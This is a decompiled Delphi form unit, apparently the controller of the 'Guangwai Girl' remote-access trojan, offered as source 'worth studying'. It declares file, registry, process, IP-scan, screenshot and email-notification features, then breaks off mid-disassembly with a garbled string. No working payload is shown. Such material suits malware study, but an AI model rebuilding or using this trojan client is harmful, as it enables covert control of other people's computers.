unit1.pas

广外女生的源程序.远程控制程序.具有一定的研究价值.适合阅读

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, ComCtrls, ExtCtrls,
  ScktComp, Menus, ExtDlgs;

type
  TForm1=class(TForm)
    Label23: TLabel;
    Label24: TLabel;
    StatusBar1: TStatusBar;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    FileList: TTreeView;
    ListView1: TListView;
    ToolBar1: TToolBar;
    ToolButton1: TToolButton;
    ToolButton2: TToolButton;
    ToolButton3: TToolButton;
    ToolButton4: TToolButton;
    ToolButton5: TToolButton;
    ToolButton6: TToolButton;
    ToolButton17: TToolButton;
    ToolButton7: TToolButton;
    ToolButton8: TToolButton;
    ToolButton9: TToolButton;
    ToolButton10: TToolButton;
    ToolButton11: TToolButton;
    ToolButton20: TToolButton;
    ToolButton21: TToolButton;
    TabSheet2: TTabSheet;
    RegList: TTreeView;
    ValueView: TListView;
    ToolBar2: TToolBar;
    ToolButton12: TToolButton;
    ToolButton13: TToolButton;
    ToolButton14: TToolButton;
    ToolButton15: TToolButton;
    ToolButton16: TToolButton;
    ToolButton19: TToolButton;
    ToolButton18: TToolButton;
    ToolButton24: TToolButton;
    TabSheet5: TTabSheet;
    ToolBar3: TToolBar;
    ToolButton22: TToolButton;
    ToolButton25: TToolButton;
    ToolButton26: TToolButton;
    ToolButton27: TToolButton;
    ToolButton23: TToolButton;
    ProcList: TTreeView;
    TabSheet4: TTabSheet;
    GroupBox2: TGroupBox;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    chost: TComboBox;
    euser: TEdit;
    epass: TEdit;
    Button2: TButton;
    Button4: TButton;
    Memo2: TMemo;
    GroupBox5: TGroupBox;
    Label7: TLabel;
    Label8: TLabel;
    Label11: TLabel;
    Label10: TLabel;
    Label19: TLabel;
    StartIP: TEdit;
    EndIP: TEdit;
    SearchIP: TButton;
    IPList: TListBox;
    MemoInfo: TMemo;
    TimeOut: TEdit;
    TabSheet3: TTabSheet;
    Label13: TLabel;
    Label14: TLabel;
    Label32: TLabel;
    SnapShot: TButton;
    Panel1: TPanel;
    Image1: TImage;
    Label12: TLabel;
    TrackBar1: TTrackBar;
    Button5: TButton;
    Button9: TButton;
    Button10: TButton;
    Button11: TButton;
    TabSheet6: TTabSheet;
    GroupBox3: TGroupBox;
    Label5: TLabel;
    Label6: TLabel;
    Label9: TLabel;
    Label1: TLabel;
    Edit3: TEdit;
    ComboBox1: TComboBox;
    edit4: TEdit;
    Edit1: TEdit;
    GroupBox1: TGroupBox;
    listAtt: TListBox;
    Button1: TButton;
    GroupBox4: TGroupBox;
    Memo1: TMemo;
    Button6: TButton;
    Button3: TButton;
    TabSheet8: TTabSheet;
    GroupBox6: TGroupBox;
    Label27: TLabel;
    Label28: TLabel;
    Label29: TLabel;
    Label26: TLabel;
    Label25: TLabel;
    Label30: TLabel;
    Server: TEdit;
    Title: TEdit;
    Recipient: TEdit;
    Source: TEdit;
    Dest: TEdit;
    Button7: TButton;
    UpDate: TButton;
    GroupBox7: TGroupBox;
    Label31: TLabel;
    Label33: TLabel;
    TreeView1: TTreeView;
    Button8: TButton;
    TabSheet7: TTabSheet;
    Label15: TLabel;
    Label16: TLabel;
    Label17: TLabel;
    Label18: TLabel;
    Image2: TImage;
    Label20: TLabel;
    Label21: TLabel;
    Label22: TLabel;
    Label34: TLabel;
    ReadMe: TMemo;
    ImageList1: TImageList;
    Client: TClientSocket;
    ImageList2: TImageList;
    Dup: TSaveDialog;
    DDown: TOpenDialog;
    NMSMTP1: TNMSMTP;
    PopAttr: TPopupMenu;
    NAttrRead: TMenuItem;
    NAttrHide: TMenuItem;
    NAttrSystem: TMenuItem;
    NAttrArch: TMenuItem;
    N5: TMenuItem;
    N6: TMenuItem;
    SavePictureDialog1: TSavePictureDialog;
    PopClient: TClientSocket;
    PopIPMail: TPopupMenu;
    N1: TMenuItem;
    A1: TMenuItem;
    D1: TMenuItem;
    procedure Button10Click(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure ClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure FileListChange(Sender: TObject; Node: TTreeNode);
    procedure FileListEnter(Sender: TObject);
    procedure FileListExpanding(Sender: TObject; Node: TTreeNode; var AllowExpansion: Boolean);
    procedure FormCreate(Sender: TObject);
    procedure GroupBox2Enter(Sender: TObject);
    procedure GroupBox5Enter(Sender: TObject);
    procedure GroupBox6Enter(Sender: TObject);
    procedure GroupBox6Exit(Sender: TObject);
    procedure IPListClick(Sender: TObject);
    procedure Label16Click(Sender: TObject);
    procedure Label17Click(Sender: TObject);
    procedure Label18Click(Sender: TObject);
    procedure Label22Click(Sender: TObject);
    procedure Label34Click(Sender: TObject);
    procedure ListView1Click(Sender: TObject);
    procedure ListView1Edited(Sender: TObject; Item: TListItem; var S: String);
    procedure ListView1Editing(Sender: TObject; Item: TListItem; var AllowEdit: Boolean);
    procedure ListView1Enter(Sender: TObject);
    procedure N6Click(Sender: TObject);
    procedure NAttrArchClick(Sender: TObject);
    procedure NMSMTP1Connect(Sender: TObject);{?}
    procedure NMSMTP1SendStart(Sender: TObject);{?}
    procedure PopClientConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure PopClientConnecting(Sender: TObject; Socket: TCustomWinSocket);
    procedure PopClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ProcListChange(Sender: TObject; Node: TTreeNode);
    procedure ProcListExpanding(Sender: TObject; Node: TTreeNode; var AllowExpansion: Boolean);
    procedure RegListChange(Sender: TObject; Node: TTreeNode);
    procedure RegListExpanding(Sender: TObject; Node: TTreeNode; var AllowExpansion: Boolean);
    procedure SearchIPClick(Sender: TObject);
    procedure SnapShotClick(Sender: TObject);
    procedure ToolButton11Click(Sender: TObject);
    procedure ToolButton12Click(Sender: TObject);
    procedure ToolButton13Click(Sender: TObject);
    procedure ToolButton15Click(Sender: TObject);
    procedure ToolButton16Click(Sender: TObject);
    procedure ToolButton17Click(Sender: TObject);
    procedure ToolButton19Click(Sender: TObject);
    procedure ToolButton1Click(Sender: TObject);
    procedure ToolButton20Click(Sender: TObject);
    procedure ToolButton21Click(Sender: TObject);
    procedure ToolButton22Click(Sender: TObject);
    procedure ToolButton23Click(Sender: TObject);
    procedure ToolButton24Click(Sender: TObject);
    procedure ToolButton25Click(Sender: TObject);
    procedure ToolButton26Click(Sender: TObject);
    procedure ToolButton2Click(Sender: TObject);
    procedure ToolButton4Click(Sender: TObject);
    procedure ToolButton5Click(Sender: TObject);
    procedure ToolButton6Click(Sender: TObject);
    procedure ToolButton8Click(Sender: TObject);
    procedure ToolButton9Click(Sender: TObject);
    procedure UpDateClick(Sender: TObject);
    procedure ValueViewDblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  Form1: TForm1;


{This file is generated by DeDe v1.06 (c) 1999 by DaFixer}

implementation

{$R *.DFM}


procedure TForm1.Button10Click(Sender: TObject);
begin
{
00490048   55                     push    ebp
00490049   8BEC                   mov     ebp, esp
0049004B   6A00                   push    $00
0049004D   6A00                   push    $00
0049004F   6A00                   push    $00
00490051   53                     push    ebx
00490052   56                     push    esi
00490053   8BD8                   mov     ebx, eax
00490055   33C0                   xor     eax, eax
00490057   55                     push    ebp

* Possible String Reference to: "閭4